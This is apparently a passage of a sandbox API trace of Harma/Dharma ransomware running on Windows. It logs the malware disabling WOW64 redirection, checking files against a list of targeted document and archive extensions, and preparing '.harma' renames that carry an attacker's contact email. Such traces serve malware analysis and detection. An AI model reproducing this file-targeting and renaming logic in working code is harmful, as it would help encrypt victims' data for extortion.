GetTickCount () returned 0x113841e [0162.148] GetTickCount () returned 0x113841e [0162.148] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0162.710] GetTickCount () returned 0x1138631 [0162.710] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0163.274] GetTickCount () returned 0x1138853 [0163.274] GetTickCount () returned 0x1138853 [0163.274] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0163.624] GetTickCount () returned 0x113899a [0163.624] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0164.462] GetTickCount () returned 0x1138cc5 [0164.462] GetTickCount () returned 0x1138cc5 [0164.462] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0164.664] GetTickCount () returned 0x1138d81 [0164.665] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0165.027] GetTickCount () returned 0x1138ee7 [0165.027] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0165.472] GetTickCount () returned 0x11390ac [0165.472] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0165.864] GetTickCount () returned 0x1139232 [0165.864] GetTickCount () returned 0x1139232 [0165.864] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0165.992] GetTickCount () returned 0x11392af [0165.992] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0166.331] GetTickCount () returned 0x1139406 [0166.331] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0166.500] GetTickCount () returned 0x11394a2 [0166.500] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0166.861] GetTickCount () returned 0x1139618 [0166.861] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0167.188] GetTickCount () returned 0x1139760 [0167.188] GetTickCount () returned 0x1139760 [0167.188] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0167.574] GetTickCount () returned 0x11398c7 [0167.574] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0167.733] GetTickCount () returned 0x1139963 [0167.733] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0168.064] GetTickCount () returned 0x1139aba [0168.064] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0168.270] GetTickCount () returned 0x1139b85 [0168.270] GetTickCount () returned 0x1139b85 [0168.270] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0168.559] GetTickCount () returned 0x1139c9e [0168.559] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0168.823] GetTickCount () returned 0x1139da7 [0168.823] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0169.024] GetTickCount () returned 0x1139e72 [0169.024] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0169.368] GetTickCount () returned 0x1139fc9 [0169.368] GetTickCount () returned 0x1139fc9 [0169.368] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0169.903] GetTickCount () returned 0x113a1eb [0169.903] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0170.272] GetTickCount () returned 0x113a352 [0170.272] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0170.517] GetTickCount () returned 0x113a44b [0170.517] GetTickCount () returned 0x113a44b [0170.517] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0170.812] GetTickCount () returned 0x113a574 [0170.812] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0171.092] GetTickCount () returned 0x113a68c [0171.092] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0171.341] GetTickCount () returned 0x113a786 [0171.341] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0171.521] GetTickCount () returned 0x113a832 [0171.521] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0171.833] GetTickCount () returned 0x113a96a [0171.833] GetTickCount () returned 0x113a96a [0171.833] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x0 [0171.833] GetTickCount () returned 0x113a96a [0171.833] Sleep (dwMilliseconds=0x64) [0171.946] GetTickCount () returned 0x113a9d7 [0171.946] Sleep (dwMilliseconds=0x64) [0172.130] GetTickCount () returned 0x113aa92 [0172.130] Sleep (dwMilliseconds=0x64) [0172.238] GetTickCount () returned 0x113aaff [0172.238] Sleep (dwMilliseconds=0x64) [0172.341] WaitForMultipleObjects (nCount=0x4, lpHandles=0x25fff64*=0x15c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0174.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4c60020 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ea90 | out: hHeap=0x300000) returned 1 [0174.439] lstrlenW (lpString=".harma") returned 6 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351050 | out: hHeap=0x300000) returned 1 [0174.439] lstrlenW (lpString=".[gillian.cher@aol.com]") returned 23 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336cc8 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e9f0 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350dc0 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350dd8 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350e08 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350e20 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350df0 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350e38 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e9e0 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350e68 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350e80 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350ed0 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ea20 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37e9d0 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350f18 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ea10 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350f48 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ea30 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350f60 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335bb8 | out: hHeap=0x300000) returned 1 [0174.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335b90 | out: hHeap=0x300000) returned 1 [0174.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37cea0 | out: hHeap=0x300000) returned 1 [0174.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37dd38 | out: hHeap=0x300000) returned 1 [0174.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37eea8 | out: hHeap=0x300000) returned 1 [0174.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ae78 | out: hHeap=0x300000) returned 1 [0174.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x350f60 [0174.441] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350f60, Size=0x20) returned 0x335b90 [0174.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x350f60 [0174.441] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x350f60, Size=0x20) returned 0x335bb8 [0174.441] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.441] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.441] Wow64DisableWow64FsRedirection (in: OldValue=0x25fff84 | out: OldValue=0x25fff84*=0x1) returned 1 [0174.441] lstrlenW (lpString="kernel32.dll") returned 12 [0174.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335bb8 | out: hHeap=0x300000) returned 1 [0174.441] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335b90 | out: hHeap=0x300000) returned 1 Thread: id = 51 os_tid = 0x67c Thread: id = 53 os_tid = 0x6d4 [0132.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x39eed0 [0132.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3aeed8 [0132.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351338 [0132.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3beef8 [0132.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351350 [0132.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x3780020 [0132.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351368 [0132.136] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351368, Size=0x20) returned 0x335e88 [0132.136] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351368 [0132.136] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351368, Size=0x20) returned 0x335eb0 [0132.137] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.137] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.137] Wow64DisableWow64FsRedirection (in: OldValue=0x2c3ff58 | out: OldValue=0x2c3ff58*=0x0) returned 1 [0132.137] lstrlenW (lpString="kernel32.dll") returned 12 [0132.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335e88 | out: hHeap=0x300000) returned 1 [0132.137] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335eb0 | out: hHeap=0x300000) returned 1 [0132.137] Sleep (dwMilliseconds=0x64) [0132.476] lstrcmpiW (lpString1=".ini", lpString2=".harma") returned 1 [0132.476] lstrlenW (lpString="desktop.ini") returned 11 [0132.476] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0132.476] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=129) returned 1 [0132.476] CloseHandle (hObject=0x208) returned 1 [0132.476] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0132.476] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0x26 [0132.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.703] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.703] lstrlenW (lpString=".doc") returned 4 [0132.703] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0132.703] lstrlenW (lpString=".docx") returned 5 [0132.703] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0132.703] lstrlenW (lpString=".pdf") returned 4 [0132.703] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0132.703] lstrlenW (lpString=".xls") returned 4 [0132.703] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0132.703] lstrlenW (lpString=".xlsx") returned 5 [0132.703] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0132.703] lstrlenW (lpString=".ppt") returned 4 [0132.703] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0132.704] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.704] lstrlenW (lpString=".zip") returned 4 [0132.704] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0132.704] lstrlenW (lpString=".rar") returned 4 [0132.704] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0132.704] lstrlenW (lpString=".bz2") returned 4 [0132.704] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0132.704] lstrlenW (lpString=".7z") returned 3 [0132.704] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0132.704] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.704] lstrlenW (lpString=".dbf") returned 4 [0132.704] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0132.704] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.704] lstrlenW (lpString=".1cd") returned 4 [0132.704] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0132.704] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.704] lstrlenW (lpString=".jpg") returned 4 [0132.704] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0132.704] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.704] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.704] lstrlenW (lpString=".doc") returned 4 [0132.704] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0132.704] lstrlenW (lpString=".docx") returned 5 [0132.704] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0132.704] lstrlenW (lpString=".pdf") returned 4 [0132.704] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0132.704] lstrlenW (lpString=".xls") returned 4 [0132.704] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0132.704] lstrlenW (lpString=".xlsx") returned 5 [0132.704] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0132.704] lstrlenW (lpString=".ppt") returned 4 [0132.705] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0132.705] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.705] lstrlenW (lpString=".zip") returned 4 [0132.705] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0132.705] lstrlenW (lpString=".rar") returned 4 [0132.705] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0132.705] lstrlenW (lpString=".bz2") returned 4 [0132.705] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0132.705] lstrlenW (lpString=".7z") returned 3 [0132.705] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0132.705] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.705] lstrlenW (lpString=".dbf") returned 4 [0132.705] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0132.705] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.705] lstrlenW (lpString=".1cd") returned 4 [0132.705] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0132.705] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.705] lstrlenW (lpString=".jpg") returned 4 [0132.705] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0132.705] Sleep (dwMilliseconds=0x64) [0132.925] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0132.925] lstrlenW (lpString="Alphabet.xml") returned 12 [0132.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.015] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=791686) returned 1 [0133.015] CloseHandle (hObject=0x2ac) returned 1 [0133.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0133.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.015] lstrlenW (lpString=".doc") returned 4 [0133.015] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.015] lstrlenW (lpString=".docx") returned 5 [0133.016] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.016] lstrlenW (lpString=".pdf") returned 4 [0133.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.016] lstrlenW (lpString=".xls") returned 4 [0133.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.016] lstrlenW (lpString=".xlsx") returned 5 [0133.016] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.016] lstrlenW (lpString=".ppt") returned 4 [0133.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.016] lstrlenW (lpString=".zip") returned 4 [0133.016] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.016] lstrlenW (lpString=".rar") returned 4 [0133.016] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.016] lstrlenW (lpString=".bz2") returned 4 [0133.016] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.016] lstrlenW (lpString=".7z") returned 3 [0133.016] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.016] lstrlenW (lpString=".dbf") returned 4 [0133.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.016] lstrlenW (lpString=".1cd") returned 4 [0133.016] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.016] lstrlenW (lpString=".jpg") returned 4 [0133.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.017] lstrlenW (lpString=".doc") returned 4 [0133.017] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.017] lstrlenW (lpString=".docx") returned 5 [0133.017] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0133.017] lstrlenW (lpString=".pdf") returned 4 [0133.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.017] lstrlenW (lpString=".xls") returned 4 [0133.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.017] lstrlenW (lpString=".xlsx") returned 5 [0133.017] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0133.017] lstrlenW (lpString=".ppt") returned 4 [0133.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.017] lstrlenW (lpString=".zip") returned 4 [0133.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.017] lstrlenW (lpString=".rar") returned 4 [0133.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.017] lstrlenW (lpString=".bz2") returned 4 [0133.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.017] lstrlenW (lpString=".7z") returned 3 [0133.018] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.018] lstrlenW (lpString=".dbf") returned 4 [0133.018] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.018] lstrlenW (lpString=".1cd") returned 4 [0133.018] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0133.018] lstrlenW (lpString=".jpg") returned 4 [0133.018] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.018] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0133.018] lstrlenW (lpString="boxed-join.avi") returned 14 [0133.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0133.783] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=33280) returned 1 [0133.783] CloseHandle (hObject=0x320) returned 1 [0133.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0133.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.784] lstrlenW (lpString=".doc") returned 4 [0133.784] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.784] lstrlenW (lpString=".docx") returned 5 [0133.784] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0133.784] lstrlenW (lpString=".pdf") returned 4 [0133.784] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.784] lstrlenW (lpString=".xls") returned 4 [0133.784] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.784] lstrlenW (lpString=".xlsx") returned 5 [0133.784] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0133.784] lstrlenW (lpString=".ppt") returned 4 [0133.784] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.784] lstrlenW (lpString=".zip") returned 4 [0133.784] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.784] lstrlenW (lpString=".rar") returned 4 [0133.784] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.785] lstrlenW (lpString=".bz2") returned 4 [0133.785] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.785] lstrlenW (lpString=".7z") returned 3 [0133.785] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.785] lstrlenW (lpString=".dbf") returned 4 [0133.785] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.785] lstrlenW (lpString=".1cd") returned 4 [0133.785] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.785] lstrlenW (lpString=".jpg") returned 4 [0133.785] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.785] lstrlenW (lpString=".doc") returned 4 [0133.785] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.785] lstrlenW (lpString=".docx") returned 5 [0133.785] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0133.785] lstrlenW (lpString=".pdf") returned 4 [0133.785] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.785] lstrlenW (lpString=".xls") returned 4 [0133.785] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.785] lstrlenW (lpString=".xlsx") returned 5 [0133.785] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0133.785] lstrlenW (lpString=".ppt") returned 4 [0133.786] 